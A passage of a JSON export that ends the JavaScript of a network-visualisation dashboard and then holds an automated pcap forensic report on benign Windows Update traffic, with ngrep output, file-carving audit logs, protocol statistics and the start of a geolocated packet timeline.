class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a4f95540108394cb24cdcbb"},"sha256":"62dd0d4b0ac16f65e363b601e65cbc171d0c48c528fd9bf71f5561f0b3f877a2","timestamp":{"$date":"2026-07-09T18:04:28.025Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_h_vf8q5d.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:64032 -> 77.111.102.205:80 [AP] #4\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 77.111.102.205.\n.\"\n0.0,NGrep,##,\"Payload: T 77.111.102.205:80 -> 10.152.152.11:64032 [AP] #6\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Thu, 09 Jul 2026 12:22:49 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nVia: 1.1 varnish.\nAge: 9.\nX-Served-By: cache-ams21066-AMS.\nX-Cache: HIT.\nX-Cache-Hits: 1.\nX-Timer: S1760461217.265639,VS0,VE1.\nX-CID: 10006.\nX-CCC: 1d40cc5f-1675-4116-a909-9bee0e886eaa.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRf\n##\nT 77.111.102.205:80 -> 10.152.152.11:64032 [AP] #8\nNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n#####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmp4e03whgy/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmp4e03whgy/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmp4e03whgy/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmp4e03whgy/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmp4e03whgy/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmp4e03whgy/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmp4e03whgy/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmp4e03whgy/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmp4e03whgy/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-09T18:04:25.623645,Tool:tmp4e03whgy/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmp4e03whgy/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-09T18:04:25.625134,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp4e03whgy/carved/scalpel/audit.txt,468,5c862cf081808b0916de72b1a2dc1887,4069f288fadac887a85f567176906153e02d6ff8fcbf65f2ccc41b167e2589d8,5.05,\"Scalpel version 1.60 audit file, Started at Thu Jul  9 18:04:25 2026, Command line:, scalpel -c /tmp/tmp4e03whgy/carved/scalpel.conf /tmp/filtered_h_vf8q5d.pcap -o /tmp/tmp4e03whgy/carved/scalpel , Output directory: /tmp/tmp4e03whgy/carved/scalpel, Configuration file: /tmp/tmp4e03whgy/carved/scalpel.conf, Opening target , /tmp/filtered_h_vf8q5d.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Thu Jul  9 18:04:25 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 30 34 3a 32 35 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 34 65 30 33 77 68 67 79 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 68 5f 76 66 38 71 35 64 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 34 65 30 33 77 68 67 79 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 34 65 30 33 77 68 67 79 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 34 65 30 33 77 68 67 79 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 68 5f 76 66 38 71 35 64 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 30 34 3a 32 35 20 32 30 32 36 0a\n2026-07-09T18:04:25.620710,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp4e03whgy/carved/foremost/audit.txt,698,86d63b55727c6c3fbe17fc4b58d0af1b,581ca59ac4eee0f3bc3a01f39a9b090b3eb29823e37967f39c5d27f70403af80,4.92,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Thu Jul  9 18:04:25 2026, Invocation: foremost -t all -i /tmp/filtered_h_vf8q5d.pcap -o /tmp/tmp4e03whgy/carved/foremost , Output directory: /tmp/tmp4e03whgy/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_h_vf8q5d.pcap, Start: Thu Jul  9 18:04:25 2026, Length: 5 KB (6100 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Thu Jul  9 18:04:25 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Thu Jul  9 18:04:25 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 30 34 3a 32 35 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 68 5f 76 66 38 71 35 64 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 34 65 30 33 77 68 67 79 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 34 65 30 33 77 68 67 79 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 68 5f 76 66 38 71 35 64 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 30 34 3a 32 35 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 20 4b 42 20 28 36 31 30 30 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 30 34 3a 32 35 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 30 34 3a 32 35 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,13,5537,100.00%,100.00%\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n64032,13,5537,50.00%,50.00%\n80,13,5537,50.00%,50.00%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-09 12:22:48.908556,1,TCP 10.152.152.11:64032 -> 77.111.102.205:80,10.152.152.11,77.111.102.205,64032,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=3187970488 Ack=0,bc24112907bbbc2411360d0c080045000034d38140008006d0620a98980b4d6f66cdfa200050be0491b8000000008002faf0d3110000020405b40103030801010402,\".$.)...$.6\n...E..4..@....b\n...Mof.. .P............................\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 54145, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53346, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.111.102.205\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 80, \"\"seq\"\": 3187970488, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 54033, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), 